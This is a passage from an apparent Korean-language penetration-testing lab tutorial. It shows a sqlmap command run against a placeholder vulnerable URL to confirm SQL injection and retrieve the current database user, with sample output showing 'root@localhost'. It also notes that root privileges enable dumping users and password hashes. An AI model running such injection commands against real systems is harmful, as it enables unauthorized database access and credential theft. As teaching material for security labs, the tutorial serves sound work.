발판 확보 및 충분한 권한 확인
이 단계에서는 잠재적인 SQL 인젝션 취약점을 식별하고 sqlmap이 대상 데이터베이스와 성공적으로 상호 작용할 수 있는지 확인하는 것부터 시작합니다. 이 초기 확인은 "발판"을 확보했으며 현재 사용자가 추가 열거를 수행할 충분한 권한을 가지고 있는지 확인하는 데 필수적입니다.
먼저 터미널을 엽니다. 기본 작업 디렉토리는 /home/labex/project입니다.
취약한 웹 애플리케이션에 대한 플레이스홀더 URL 을 사용합니다. 실제 시나리오에서는 정찰 및 취약점 스캔을 통해 이 URL 을 식별했을 것입니다. 이 랩에서는 대상이 http://example.com/vulnerable.php?id=1이라고 가정합니다.
SQL 인젝션을 테스트하고 데이터베이스에 대한 기본 정보를 수집하기 위해 다음 sqlmap 명령을 실행합니다. -u 플래그는 대상 URL 을 지정하고, --current-user는 현재 데이터베이스 사용자를 검색하려고 시도합니다.
sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user
다음과 유사한 출력이 표시되며, 이는 sqlmap이 다양한 인젝션 지점을 테스트하고 현재 사용자를 확인하고 있음을 나타냅니다.
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (various tests and information) ...
[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'
current user: 'root@localhost'라는 출력은 sqlmap이 현재 데이터베이스 사용자를 성공적으로 식별했음을 나타냅니다. root는 일반적으로 높은 권한을 가지므로 사용자 및 해시를 덤프하는 데 필요하므로 이는 좋은 신호입니다.